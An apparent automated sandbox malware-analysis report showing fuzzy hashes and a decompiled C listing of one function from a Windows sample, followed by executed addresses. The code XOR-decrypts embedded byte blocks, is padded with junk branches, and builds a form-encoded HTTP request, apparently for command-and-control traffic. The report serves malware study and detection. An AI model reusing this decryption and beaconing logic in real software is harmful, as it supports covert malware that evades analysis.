Opcode Fuzzy Hash: c717eb841a44b6352501405ef2bc3e751e297229e948476ff338f1311d8ce46a
Instruction Fuzzy Hash: B462D074D096A88BDB26CF289884BD9BBB1AF5A304F1481DAD88CA7351DB305FC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0097BE20 Relevance: 15.1, APIs: 2, Strings: 6, Instructions: 1077
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E0097BE20(signed int __edx, void* __eflags) {
				intOrPtr _v8;
				signed int _v16;
				char _v24;
				signed int _v32;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				signed int _v116;
				char _v132;
				signed int _v140;
				char _v156;
				char _v180;
				char _v204;
				char _v228;
				signed char _v229;
				signed char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				signed int _v243;
				signed char _v244;
				char _v245;
				signed int _v252;
				intOrPtr* _v256;
				char* _v260;
				signed int _v264;
				signed int _v268;
				char _v272;
				char _v276;
				char _v280;
				signed char _v281;
				char _v288;
				signed int _v292;
				intOrPtr* _v296;
				char* _v300;
				char* _v304;
				signed int _v308;
				char* _v312;
				intOrPtr* _v316;
				intOrPtr* _v320;
				char* _v324;
				char _v328;
				char _v332;
				char _v336;
				char _v340;
				char _v344;
				char _v348;
				char _v352;
				char _v356;
				signed int _v360;
				intOrPtr _v364;
				intOrPtr _v368;
				signed int _v372;
				intOrPtr _v376;
				signed int _v380;
				intOrPtr _v384;
				intOrPtr _v388;
				char* _v392;
				intOrPtr _v396;
				intOrPtr _v400;
				intOrPtr _v404;
				intOrPtr _v408;
				signed int _v412;
				intOrPtr _v416;
				intOrPtr _v420;
				intOrPtr _v424;
				intOrPtr _v428;
				intOrPtr _v432;
				intOrPtr _v436;
				intOrPtr _v440;
				intOrPtr _v444;
				intOrPtr _v448;
				intOrPtr _v452;
				signed int _v456;
				signed int _v460;
				signed int _v464;
				signed int _v468;
				intOrPtr _v472;
				intOrPtr _v476;
				signed int _v480;
				signed int _v484;
				signed int _v488;
				signed int _v492;
				intOrPtr _v496;
				intOrPtr _v500;
				signed int _v504;
				intOrPtr _v508;
				signed int _v512;
				signed int _v516;
				intOrPtr _v520;
				intOrPtr _v524;
				signed int _v528;
				intOrPtr _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				signed int _v544;
				signed int _v548;
				signed int _v552;
				signed int _v556;
				signed int _v560;
				signed int _v564;
				intOrPtr _v568;
				char _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				intOrPtr _v600;
				intOrPtr _v604;
				intOrPtr _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				char _v620;
				intOrPtr _v624;
				intOrPtr _v628;
				signed int _v632;
				signed int _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				signed int _v656;
				signed int _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				signed int _v672;
				intOrPtr _v676;
				intOrPtr _v680;
				intOrPtr _v684;
				intOrPtr _v688;
				intOrPtr _v692;
				intOrPtr _v696;
				intOrPtr _v700;
				signed int _v704;
				signed int _v708;
				intOrPtr _v712;
				intOrPtr _v716;
				intOrPtr _v720;
				signed int _v724;
				signed int _v728;
				signed int _v732;
				signed int _v736;
				signed int _v740;
				intOrPtr _v752;
				intOrPtr _v756;
				intOrPtr _v760;
				char _v764;
				intOrPtr _v768;
				intOrPtr _v772;
				intOrPtr _v776;
				char _v780;
				intOrPtr _v784;
				intOrPtr _v788;
				intOrPtr _v792;
				intOrPtr _v796;
				intOrPtr _v800;
				intOrPtr _v804;
				intOrPtr _v808;
				char _v812;
				intOrPtr _v816;
				char* _v820;
				char* _v824;
				intOrPtr _v828;
				intOrPtr _v832;
				char* _v836;
				intOrPtr* _v840;
				intOrPtr _v844;
				intOrPtr _v848;
				intOrPtr _v852;
				intOrPtr _v856;
				intOrPtr _v860;
				char _v1076;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t495;
				signed int _t496;
				intOrPtr _t498;
				intOrPtr _t499;
				void* _t501;
				intOrPtr _t503;
				void* _t506;
				signed int _t507;
				signed int _t519;
				intOrPtr _t522;
				signed int _t545;
				intOrPtr _t568;
				intOrPtr _t569;
				void* _t571;
				void* _t573;
				intOrPtr _t574;
				signed int _t581;
				signed int _t596;
				signed int _t607;
				signed int _t613;
				signed int _t637;
				signed int _t640;
				intOrPtr _t644;
				intOrPtr _t645;
				void* _t647;
				intOrPtr _t649;
				void* _t652;
				signed int _t653;
				signed int _t678;
				signed int _t683;
				signed int _t686;
				intOrPtr _t690;
				intOrPtr _t691;
				void* _t693;
				intOrPtr _t695;
				void* _t698;
				signed int _t699;
				signed int _t707;
				void* _t724;
				signed int _t728;
				signed int _t782;
				void* _t823;
				void* _t844;
				signed int _t861;
				signed int _t864;
				signed int _t865;
				signed int _t868;
				signed int _t884;
				signed int _t904;
				intOrPtr _t910;
				signed int _t927;
				signed int _t932;
				intOrPtr _t938;
				signed int _t944;
				signed int _t959;
				void* _t978;
				void* _t986;
				signed int _t1000;
				void* _t1002;
				signed int _t1005;
				intOrPtr _t1007;
				void* _t1012;
				void* _t1013;
				intOrPtr _t1016;
				intOrPtr _t1017;
				void* _t1019;

				_t861 = __edx;
				_t724 = _t1002;
				_t1005 = (_t1002 - 0x00000008 & 0xfffffff0) + 4;
				_v8 =  *((intOrPtr*)(_t724 + 4));
				_t1000 = _t1005;
				_push(0xffffffff);
				_push(0x9c4f45);
				_push( *[fs:0x0]);
				_push(_t724);
				_t495 =  *0x9d2008; // 0x9fef24bf
				_t496 = _t495 ^ _t1000;
				_v32 = _t496;
				_push(_t496);
				 *[fs:0x0] =  &_v24;
				_v252 = 0;
				_v16 = 1;
				_t498 =  *0x9d28d0; // 0x3a
				asm("cdq");
				_t977 = __edx;
				asm("adc edi, 0x0");
				_t499 =  *0x9d28d4; // 0xfc
				asm("cdq");
				asm("adc edx, 0x0");
				_t501 = E009C3280(_t499 + 0x4579, __edx, 0x4579, 0);
				_v696 = _t861;
				_t503 =  *0x9d28d4; // 0xfc
				asm("cdq");
				asm("adc edx, 0x0");
				_t506 = E009C3280(_t501, _v696, _t503 + 9, _t861);
				asm("adc edi, edx");
				asm("adc edi, 0x0");
				_t507 = E00972730(_t498 + 9 + _t506 + 0x4579, _t977);
				_t1007 = _t1005 - 0x418 + 8;
				_v292 = _t507;
				while(1) {
					_v492 = 0x860b2;
					_v488 = 0;
					_v516 = _v492 ^ 0x00000019;
					_v512 = _v488 ^ 0x00000000;
					_v500 = 0x19;
					_v496 = 0;
					_t728 =  *0x9d28c0; // 0x51
					_t864 =  *0x9d28c4; // 0x0
					_t865 = _t864 ^ 0x00000000;
					_v508 = E009C3280(_t728 ^ 0x00004579, _t865, 6, 0);
					_v504 = _t865;
					_v524 = 0x4579;
					_v520 = 0;
					asm("adc edx, eax");
					asm("adc edx, 0x0");
					_v540 = _v500 + _v508 + 1;
					_v536 = _v496;
					asm("sbb edx, eax");
					_v532 = _v516 - _v524;
					_v528 = _v512;
					_t868 = _v528;
					_v548 = E009C3300(_v532, _t868, _v540, _v536);
					_v544 = _t868;
					asm("cdq");
					_t736 = _v548;
					_t985 = _v544;
					_v556 = _v292;
					_v552 = _t868;
					_v564 = _v548;
					_v560 = _v544;
					_t869 = _v552;
					_t1019 = _v552 - _v560;
					if(_t1019 > 0 || _t1019 >= 0 && _v556 >= _v564) {
						break;
					}
					_v268 = 0;
					while(1) {
						_v700 =  *((intOrPtr*)(_t724 + 0x34));
						if(_v268 >= _v700) {
							break;
						}
						_t678 = E009AF98F(_t736) & 0x80000001;
						if(_t678 < 0) {
							_t678 = (_t678 - 0x00000001 | 0xfffffffe) + 1;
						}
						if(_t678 != 0) {
							 *0x009D37A0 = 0xda;
							 *0x009D37AD = 0xce;
							 *0x009D37AE = 0xc3;
							 *0x009D37A3 = 0xdb;
							 *0x0158134D = 0xa5;
							_t736 = 1 << 1;
							__eflags = 1;
							 *0x009D37A1 = 0xee;
						} else {
							E009ADBB0(_t977, "+++++++++++++++++++++++++++++++++++++++++++++++++++++++", 0x2b, 0x37);
							_t1007 = _t1007 + 0xc;
						}
						_t683 = E009AF98F(_t736);
						_t844 = 0x180;
						_v704 = _t683 % 0x180;
						_t959 = _v704 & 0x80000001;
						if(_t959 < 0) {
							_t959 = (_t959 - 0x00000001 | 0xfffffffe) + 1;
						}
						if(_t959 == 0) {
							_t844 = 0;
							 *0x009D3628 = 0x22;
							 *0x015811D1 = 0;
						}
						_t686 = E009AF98F(_t844) & 0x80000001;
						if(_t686 < 0) {
							_t686 = (_t686 - 0x00000001 | 0xfffffffe) + 1;
						}
						if(_t686 != 0) {
							 *((char*)(0x9d37a0)) = 0xda;
							 *((char*)(0x9d37ad)) = 0xce;
							 *((char*)(0x9d37ae)) = 0xc3;
							 *((char*)(0x9d37a3)) = 0xdb;
							 *((char*)(0x158134d)) = 0xa5;
							_t959 = 1 << 1;
							__eflags = 1;
							 *((char*)(0x9d37a1)) = 0xee;
						} else {
							E009ADBB0(_t977, "+++++++++++++++++++++++++++++++++++++++++++++++++++++++", 0x2b, 0x37);
							_t1007 = _t1007 + 0xc;
						}
						_t690 =  *0x9d28d0; // 0x3a
						asm("cdq");
						_t977 = _t959;
						asm("adc edi, 0x0");
						_t691 =  *0x9d28d4; // 0xfc
						asm("cdq");
						asm("adc edx, 0x0");
						_t693 = E009C3280(_t691 + 0x4579, _t959, 0x4579, 0);
						asm("adc eax, 0x0");
						_v708 = _t959;
						_t695 =  *0x9d28d4; // 0xfc
						asm("cdq");
						asm("adc edx, 0x0");
						_t698 = E009C3280(_t693 + 0xdc, _v708, _t695 + 9, _t959);
						asm("adc edi, edx");
						_t985 = _t690 + 9 + _t698 + 0x4579;
						asm("adc edi, 0x0");
						_t699 = E00972730(_t690 + 9 + _t698 + 0x4579, _t959);
						_t1007 = _t1007 + 8;
						_v732 = _t699;
						_v728 = _t959;
						_v300 = _v824;
						_v296 = _t724 + 0x24;
						_v388 = _v296;
						if( *((intOrPtr*)(_v296 + 0x14)) < 0x10) {
							_v360 = 0;
						} else {
							_v360 = 1;
						}
						_v229 = _v360;
						if((_v229 & 0x000000ff) != 0) {
							_v712 =  *_v296;
							_v388 = _v712;
						}
						_v716 = _v388;
						_v300 = _v716 + _v268;
						_v230 =  *_v300;
						asm("cdq");
						 *_v300 = _v230 ^ _v732;
						_t707 = E009AF98F(_v300) & 0x80000001;
						if(_t707 < 0) {
							_t707 = (_t707 - 0x00000001 | 0xfffffffe) + 1;
						}
						if(_t707 != 0) {
							 *((char*)(0x9d37a0)) = 0xda;
							 *((char*)(0x9d37ad)) = 0xce;
							 *((char*)(0x9d37ae)) = 0xc3;
							 *((char*)(0x9d37a3)) = 0xdb;
							 *((char*)(0x158134d)) = 0xa5;
							__eflags = 1;
							 *((char*)(0x158134d)) = 0xee;
						} else {
							E009ADBB0(_t977, "+++++++++++++++++++++++++++++++++++++++++++++++++++++++", 0x2b, 0x37);
							_t1007 = _t1007 + 0xc;
						}
						_t736 = _v268 + 1;
						_v268 = _v268 + 1;
					}
					_v364 = _v828;
					_v364 =  *((intOrPtr*)(_t724 + 0x34));
					_v368 = _v832;
					_v368 = E00971E10(_t724 + 0x24);
					E009713A0(_t724, _t977, _t985,  &_v180, _v368, _v364);
					_v16 = 2;
					E00973B00( &_v204,  &_v180);
					_v16 = 3;
					_v231 = 0;
					_v232 = 0;
					_v233 = 0;
					_v356 = _v231;
					_v272 = _v232;
					_v276 = _v233;
					_v572 = 0x1d5c0051;
					_v568 = 0x8b693310;
					_v764 = _v572;
					_v760 = _v568;
					_v580 = 0x89f9ef3a;
					_v576 = 0xc7f6786c;
					_v756 = _v580;
					_v752 = _v576;
					_v304 =  &_v764;
					_v60 = 0x7c286135;
					_v56 = 0x8b69332d;
					_v52 = 0x89f9ef3a;
					_v48 = 0xc7f6786c;
					_v234 = 0;
					_v280 = _v234;
					asm("movaps xmm0, [ebp-0x30]");
					asm("movaps [ebp-0x410], xmm0");
					asm("movups xmm0, [ecx]");
					asm("movaps [ebp-0x360], xmm0");
					asm("movaps xmm0, [ebp-0x360]");
					asm("pxor xmm0, [ebp-0x410]");
					asm("movaps [ebp-0x370], xmm0");
					asm("movaps xmm0, [ebp-0x370]");
					asm("movups [edx], xmm0");
					_v720 = _v304;
					E00988BD0(_t724, _t977, _t985,  &_v228, _v720,  &_v204);
					_t1012 = _t1007 + 0x20;
					_v16 = 4;
					_v724 = E009AF98F( &_v204) % 0x180;
					_t884 = _v724 & 0x80000001;
					__eflags = _t884;
					if(_t884 < 0) {
						_t884 = (_t884 - 0x00000001 | 0xfffffffe) + 1;
						__eflags = _t884;
					}
					__eflags = _t884;
					if(_t884 == 0) {
						__eflags = 0;
						 *((intOrPtr*)(0x9d3628)) = 0x22;
						 *((intOrPtr*)(0x15811d1)) = 0;
					}
					_v392 =  &_v132;
					E00971FF0(_v392, _v281 & 0x000000ff);
					_v836 =  &_v132;
					E00971BA0( &_v132);
					_v16 = 5;
					_push(0x80);
					_t545 = E009AC4F3( &_v132, __eflags);
					_t1013 = _t1012 + 4;
					_v308 = _t545;
					_v16 = 6;
					__eflags = _v308;
					if(_v308 == 0) {
						_v372 = 0;
					} else {
						E009ADBB0(_t977, _v308, 0, 0x80);
						_t1013 = _t1013 + 0xc;
						_v372 = E0099FF90(_v308, _t977, _t985, __eflags);
					}
					_v396 = _v372;
					_v16 = 5;
					_v452 = _v396;
					_v235 = 0;
					_v245 = 0;
					_v236 = 0;
					_v238 = 0;
					_v239 = 0;
					_v240 = 0;
					_v288 = _v235;
					_v332 = _v245;
					_v352 = _v236;
					_v588 = 0xe4d121a;
					_v584 = 0xee0a5a5b;
					_v812 = _v588;
					_v808 = _v584;
					_v596 = 0xe4968c15;
					_v592 = 0xae980d01;
					_v804 = _v596;
					_v800 = _v592;
					_v604 = 0xff977154;
					_v600 = 0x58e53e80;
					_v796 = _v604;
					_v792 = _v600;
					_v612 = 0xd5ea29e4;
					_v608 = 0x4e4a8626;
					_v788 = _v612;
					_v784 = _v608;
					_v260 =  &_v812;
					_v316 = _v840;
					_v108 = 0x7c286135;
					_v104 = 0x8b69332d;
					_v100 = 0x89f9ef3a;
					_v96 = 0xc7f6786c;
					_v92 = 0x96e31037;
					_v88 = 0x28cb50ef;
					_v84 = 0xd5ea598c;
					_v80 = 0x4e4a8626;
					_v237 = 0;
					_v348 = _v237;
					asm("movaps xmm0, [ebp-0x60]");
					asm("movaps [ebp-0x390], xmm0");
					asm("movups xmm0, [ecx]");
					asm("movaps [ebp-0x380], xmm0");
					asm("movaps xmm0, [ebp-0x380]");
					asm("pxor xmm0, [ebp-0x390]");
					asm("movaps [ebp-0x3a0], xmm0");
					asm("movaps xmm0, [ebp-0x3a0]");
					asm("movups [edx], xmm0");
					_v376 = _v260 + 0x10;
					asm("movaps xmm0, [ebp-0x50]");
					asm("movaps [ebp-0x3c0], xmm0");
					asm("movups xmm0, [ecx]");
					asm("movaps [ebp-0x3b0], xmm0");
					asm("movaps xmm0, [ebp-0x3b0]");
					asm("pxor xmm0, [ebp-0x3c0]");
					asm("movaps [ebp-0x3d0], xmm0");
					asm("movaps xmm0, [ebp-0x3d0]");
					asm("movups [edx], xmm0");
					_v316 = _v260;
					_v344 = _v238;
					_v340 = _v239;
					_v336 = _v240;
					_v620 = 0xc5c155d;
					_v616 = 0x8b461c17;
					_v780 = _v620;
					_v776 = _v616;
					_v628 = 0x89f9ef3a;
					_v624 = 0xc7f6786c;
					_v772 = _v628;
					_v768 = _v624;
					_v312 =  &_v780;
					_v76 = 0x7c286135;
					_v72 = 0x8b69332d;
					_v68 = 0x89f9ef3a;
					_v64 = 0xc7f6786c;
					_v241 = 0;
					_v328 = _v241;
					asm("movaps xmm0, [ebp-0x40]");
					asm("movaps [ebp-0x3f0], xmm0");
					asm("movups xmm0, [eax]");
					asm("movaps [ebp-0x3e0], xmm0");
					asm("movaps xmm0, [ebp-0x3e0]");
					asm("pxor xmm0, [ebp-0x3f0]");
					asm("movaps [ebp-0x400], xmm0");
					asm("movaps xmm0, [ebp-0x400]");
					asm("movups [ecx], xmm0");
					_v400 = _v312;
					_t904 =  &_v1076;
					_v404 = E00988BD0(_t724, _t977, _t985, _t904, _v400, _t724 + 0xc);
					_v408 = _v404;
					_v16 = 7;
					_v428 = _v408;
					_t568 =  *0x9d28d4; // 0xfc
					asm("cdq");
					_t977 = _t904;
					asm("adc edi, 0x0");
					_t569 =  *0x9d28d4; // 0xfc
					asm("cdq");
					asm("adc edx, 0x0");
					_t571 = E009C3280(_t569 + 0x4579, _t904, 0x4579, 0);
					asm("adc edx, 0x0");
					_t573 = E009C3280(_t571 + 0xa, _t904, _t568 + 9, _t904);
					_t574 =  *0x9d28d0; // 0x3a
					asm("cdq");
					asm("adc edx, 0x0");
					asm("adc edx, esi");
					asm("adc edx, 0x0");
					_v444 = E00972730(_t574 + 9 + _t573 + 0x4579, _t904);
					_v636 = 0x121afe;
					_v632 = 0;
					_v660 = _v636 ^ 0x00000019;
					_v656 = _v632 ^ 0x00000000;
					_v644 = 0x19;
					_v640 = 0;
					_t581 =  *0x9d28c0; // 0x51
					_t782 =  *0x9d28c4; // 0x0
					_v652 = E009C3280(_t581 ^ 0x00004579, _t782 ^ 0x00000000, 6, 0);
					_v648 = 0;
					_v668 = 0x4579;
					_v664 = 0;
					asm("adc ecx, edx");
					asm("adc ecx, 0x0");
					_v684 = _v644 + _v652 + 1;
					_v680 = _v640;
					asm("sbb ecx, edx");
					_v676 = _v660 - _v668;
					_v672 = _v656;
					_t910 = _v684;
					_t990 = _v680;
					_v692 = E009C3300(_v676, _v672, _t910, _v680);
					_v688 = _t910;
					_v844 = _v688;
					_v448 = _v692;
					_push(0);
					_t1016 = _t1013 + 0x14 - 0x18;
					_v848 = _t1016;
					_v852 = E00986570(_t1016, L"Content-Type: application/x-www-form-urlencoded\r\n");
					_v16 = 8;
					_t1017 = _t1016 - 0x18;
					_v856 = _t1017;
					_v860 = E00986C20(_t1017,  &_v228);
					_v16 = 9;
					_push( &_v132);
					_t1007 = _t1017 - 0x18;
					_v816 = _t1007;
					_v440 = _t1007;
					_v256 = _v316;
					_t596 = _v256 + 1;
					__eflags = _t596;
					_v412 = _t596;
					do {
						_v242 =  *_v256;
						_v256 = _v256 + 1;
						__eflags = _v242;
					} while (_v242 != 0);
					_v416 = _v256 - _v412;
					_v420 = _v416;
					_v424 = _v420;
					_v432 = E00987AE0(_t724, _v428, _t977, _t990, _v316, _v424);
					_v436 = _v432;
					E00971790(_v440, _v436);
					_v252 = _v252 | 0x00000008;
					_push(_v444);
					_push(_v448);
					_v16 = 7;
					E009A2080(_t724, _v452, _t977, _t990, __eflags); // executed
					_v16 = 5;
					_t799 =  &_v1076;
					E00971AB0( &_v1076);
					_t607 = E009AF98F( &_v1076) & 0x80000001;
					__eflags = _t607;
					if(_t607 < 0) {
						_t607 = (_t607 - 0x00000001 | 0xfffffffe) + 1;
						__eflags = _t607;
					}
					__eflags = _t607;
					if(_t607 != 0) {
						 *((char*)(0x9d37a0)) = 0xda;
						 *((char*)(0x9d37ad)) = 0xce;
						 *((char*)(0x9d37ae)) = 0xc3;
						 *((char*)(0x9d37a3)) = 0xdb;
						 *((char*)(0x158134d)) = 0xa5;
						_t799 = 1 << 1;
						__eflags = 1;
						 *((char*)(0x9d37a1)) = 0xee;
					} else {
						E009ADBB0(_t977, "+++++++++++++++++++++++++++++++++++++++++++++++++++++++", 0x2b, 0x37);
						_t1007 = _t1007 + 0xc;
					}
					_v456 = _v116;
					__eflags = _v456;
					if(_v456 == 0) {
						L73:
						_t613 = E009AF98F(_t799) & 0x80000001;
						__eflags = _t613;
						if(_t613 < 0) {
							_t613 = (_t613 - 0x00000001 | 0xfffffffe) + 1;
							__eflags = _t613;
						}
						__eflags = _t613;
						if(_t613 != 0) {
							 *((char*)(0x9d37a0)) = 0xda;
							 *((char*)(0x9d37ad)) = 0xce;
							 *((char*)(0x9d37ae)) = 0xc3;
							 *((char*)(0x9d37a3)) = 0xdb;
							 *((char*)(0x158134d)) = 0xa5;
							__eflags = 1;
							 *((char*)(0x158134d)) = 0xee;
						} else {
							E009ADBB0(_t977, "+++++++++++++++++++++++++++++++++++++++++++++++++++++++", 0x2b, 0x37);
							_t1007 = _t1007 + 0xc;
						}
						_v16 = 4;
						E00971AB0( &_v132);
						_v16 = 3;
						E00971AB0( &_v228);
						_v16 = 2;
						E00971AB0( &_v204);
						_v16 = 1;
						E00971AB0( &_v180);
						_t927 = _v292 + 1;
						__eflags = _t927;
						_v292 = _t927;
						continue;
					} else {
						_t812 =  &_v156;
						E00986C20( &_v156,  &_v132);
						_v16 = 0xa;
						_v264 = 0;
						while(1) {
							_v460 = _v140;
							__eflags = _v264 - _v460;
							if(_v264 >= _v460) {
								break;
							}
							_t637 = E009AF98F(_t812);
							_t823 = 0x180;
							_v464 = _t637 % 0x180;
							_t932 = _v464 & 0x80000001;
							__eflags = _t932;
							if(_t932 < 0) {
								_t932 = (_t932 - 0x00000001 | 0xfffffffe) + 1;
								__eflags = _t932;
							}
							__eflags = _t932;
							if(_t932 == 0) {
								_t823 = 0;
								__eflags = 0;
								 *((intOrPtr*)(0x9d3628)) = 0x22;
								 *((intOrPtr*)(0x15811d1)) = 0;
							}
							_t640 = E009AF98F(_t823) & 0x80000001;
							__eflags = _t640;
							if(_t640 < 0) {
								_t640 = (_t640 - 0x00000001 | 0xfffffffe) + 1;
								__eflags = _t640;
							}
							__eflags = _t640;
							if(_t640 != 0) {
								 *((char*)(0x9d37a0)) = 0xda;
								 *((char*)(0x9d37ad)) = 0xce;
								 *((char*)(0x9d37ae)) = 0xc3;
								 *((char*)(0x9d37a3)) = 0xdb;
								 *((char*)(0x158134d)) = 0xa5;
								_t932 = 1 << 1;
								__eflags = 1;
								 *((char*)(0x9d37a1)) = 0xee;
							} else {
								E009ADBB0(_t977, "+++++++++++++++++++++++++++++++++++++++++++++++++++++++", 0x2b, 0x37);
								_t1007 = _t1007 + 0xc;
							}
							_t644 =  *0x9d28d0; // 0x3a
							asm("cdq");
							_t977 = _t932;
							asm("adc edi, 0x0");
							_t645 =  *0x9d28d4; // 0xfc
							asm("cdq");
							asm("adc edx, 0x0");
							_t647 = E009C3280(_t645 + 0x4579, _t932, 0x4579, 0);
							asm("adc eax, 0x0");
							_v468 = _t932;
							_t649 =  *0x9d28d4; // 0xfc
							asm("cdq");
							asm("adc edx, 0x0");
							_t652 = E009C3280(_t647 + 0xcd, _v468, _t649 + 9, _t932);
							asm("adc edi, edx");
							asm("adc edi, 0x0");
							_t653 = E00972730(_t644 + 9 + _t652 + 0x4579, _t932);
							_t1007 = _t1007 + 8;
							_v740 = _t653;
							_v736 = _t932;
							_v324 = _v820;
							_v320 =  &_v156;
							_v384 = _v320;
							_t938 = _v320;
							__eflags =  *((intOrPtr*)(_t938 + 0x14)) - 0x10;
							if( *((intOrPtr*)(_t938 + 0x14)) < 0x10) {
								_v380 = 0;
							} else {
								_v380 = 1;
							}
							_v243 = _v380;
							__eflags = _v243 & 0x000000ff;
							if((_v243 & 0x000000ff) != 0) {
								_v472 =  *_v320;
								_v384 = _v472;
							}
							_v476 = _v384;
							_v324 = _v476 + _v264;
							_v244 =  *_v324;
							asm("cdq");
							 *_v324 = _v244 ^ _v740;
							_v480 = E009AF98F(_v324) % 0x180;
							_t944 = _v480 & 0x80000001;
							__eflags = _t944;
							if(_t944 < 0) {
								_t944 = (_t944 - 0x00000001 | 0xfffffffe) + 1;
								__eflags = _t944;
							}
							__eflags = _t944;
							if(_t944 == 0) {
								__eflags = 0;
								 *((intOrPtr*)(0x9d3628)) = 0x22;
								 *((intOrPtr*)(0x15811d1)) = 0;
							}
							_t812 = _v264 + 1;
							__eflags = _t812;
							_v264 = _t812;
						}
						_t869 = _v140;
						_v484 = _v140;
						__eflags = _v484;
						if(_v484 == 0) {
							_v16 = 5;
							_t799 =  &_v156;
							E00971AB0( &_v156);
							goto L73;
						} else {
							E00971790( *((intOrPtr*)(_t724 + 8)),  &_v156);
							_v252 = _v252 | 0x00000001;
							_v16 = 5;
							E00971AB0( &_v156);
							_v16 = 4;
							E00971AB0( &_v132);
							_v16 = 3;
							E00971AB0( &_v228);
							_v16 = 2;
							E00971AB0( &_v204);
							_v16 = 1;
							E00971AB0( &_v180);
							_v16 = 0;
							E00971AB0(_t724 + 0xc);
							_v16 = 0xffffffff;
							E00971AB0(_t724 + 0x24);
							_t522 =  *((intOrPtr*)(_t724 + 8));
						}
					}
					L80:
					 *[fs:0x0] = _v24;
					_pop(_t978);
					_pop(_t986);
					__eflags = _v32 ^ _t1000;
					return E009AC2E8(_t522, _t724, _v32 ^ _t1000, _t869, _t978, _t986);
				}
				E00971810( *((intOrPtr*)(_t724 + 8)), L"");
				_t519 = _v252 | 0x00000001;
				__eflags = _t519;
				_v252 = _t519;
				_v16 = 0;
				E00971AB0(_t724 + 0xc);
				_v16 = 0xffffffff;
				E00971AB0(_t724 + 0x24);
				_t522 =  *((intOrPtr*)(_t724 + 8));
				goto L80;
			}

0x0097be20
0x0097be21
0x0097be29
0x0097be30
0x0097be34
0x0097be36
0x0097be38
0x0097be43
0x0097be44
0x0097be4b
0x0097be50
0x0097be52
0x0097be57
0x0097be5b
0x0097be61
0x0097be6b
0x0097be72
0x0097be77
0x0097be7a
0x0097be7f
0x0097be82
0x0097be87
0x0097be8d
0x0097be99
0x0097bea2
0x0097bea8
0x0097bead
0x0097beb1
0x0097bebe
0x0097bec5
0x0097becd
0x0097bed2
0x0097bed7
0x0097beda
0x0097bef1
0x0097bef3
0x0097befd
0x0097bf15
0x0097bf1b
0x0097bf23
0x0097bf2d
0x0097bf33
0x0097bf3f
0x0097bf45
0x0097bf53
0x0097bf59
0x0097bf61
0x0097bf6b
0x0097bf89
0x0097bf8e
0x0097bf91
0x0097bf97
0x0097bfb5
0x0097bfb7
0x0097bfbd
0x0097bfc9
0x0097bfe4
0x0097bfea
0x0097bff6
0x0097bff7
0x0097bffd
0x0097c003
0x0097c009
0x0097c00f
0x0097c015
0x0097c01b
0x0097c021
0x0097c027
0x00000000
0x00000000
0x0097c041
0x0097c05c
0x0097c05f
0x0097c071
0x00000000
0x00000000
0x0097c07c
0x0097c081
0x0097c087
0x0097c087
0x0097c08a
0x0097c0a7
0x0097c0b6
0x0097c0c5
0x0097c0d4
0x0097c0e3
0x0097c0ef
0x0097c0ef
0x0097c0f1
0x0097c08c
0x0097c095
0x0097c09a
0x0097c09a
0x0097c0f8
0x0097c0ff
0x0097c106
0x0097c112
0x0097c118
0x0097c11e
0x0097c11e
0x0097c121
0x0097c12b
0x0097c12d
0x0097c137
0x0097c137
0x0097c142
0x0097c147
0x0097c14d
0x0097c14d
0x0097c150
0x0097c16d
0x0097c17c
0x0097c18b
0x0097c19a
0x0097c1a9
0x0097c1b5
0x0097c1b5
0x0097c1b7
0x0097c152
0x0097c15b
0x0097c160
0x0097c160
0x0097c1be
0x0097c1c3
0x0097c1c6
0x0097c1cb
0x0097c1ce
0x0097c1d3
0x0097c1d9
0x0097c1e5
0x0097c1f4
0x0097c1f7
0x0097c1fd
0x0097c202
0x0097c206
0x0097c213
0x0097c21a
0x0097c21c
0x0097c222
0x0097c227
0x0097c22c
0x0097c22f
0x0097c235
0x0097c241
0x0097c24a
0x0097c256
0x0097c266
0x0097c274
0x0097c268
0x0097c268
0x0097c268
0x0097c284
0x0097c293
0x0097c29d
0x0097c2a9
0x0097c2a9
0x0097c2b5
0x0097c2c7
0x0097c2d5
0x0097c2e2
0x0097c2ef
0x0097c2f6
0x0097c2fb
0x0097c301
0x0097c301
0x0097c304
0x0097c321
0x0097c330
0x0097c33f
0x0097c34e
0x0097c35d
0x0097c369
0x0097c36b
0x0097c306
0x0097c30f
0x0097c314
0x0097c314
0x0097c053
0x0097c056
0x0097c056
0x0097c37d
0x0097c386
0x0097c392
0x0097c3a0
0x0097c3bb
0x0097c3c3
0x0097c3d5
0x0097c3dd
0x0097c3e3
0x0097c3eb
0x0097c3f3
0x0097c3ff
0x0097c40b
0x0097c417
0x0097c422
0x0097c42c
0x0097c43e
0x0097c444
0x0097c44f
0x0097c459
0x0097c46b
0x0097c471
0x0097c47d
0x0097c488
0x0097c48f
0x0097c497
0x0097c49e
0x0097c4a3
0x0097c4af
0x0097c4b5
0x0097c4b9
0x0097c4c6
0x0097c4c9
0x0097c4d0
0x0097c4d7
0x0097c4df
0x0097c4e6
0x0097c4f3
0x0097c4fc
0x0097c517
0x0097c51c
0x0097c51f
0x0097c531
0x0097c53d
0x0097c53d
0x0097c543
0x0097c549
0x0097c549
0x0097c549
0x0097c54a
0x0097c54c
0x0097c556
0x0097c558
0x0097c562
0x0097c562
0x0097c56b
0x0097c57f
0x0097c587
0x0097c590
0x0097c595
0x0097c599
0x0097c59e
0x0097c5a3
0x0097c5a6
0x0097c5ac
0x0097c5b0
0x0097c5b7
0x0097c5e2
0x0097c5b9
0x0097c5c7
0x0097c5cc
0x0097c5da
0x0097c5da
0x0097c5f2
0x0097c5f8
0x0097c602
0x0097c60a
0x0097c612
0x0097c61a
0x0097c622
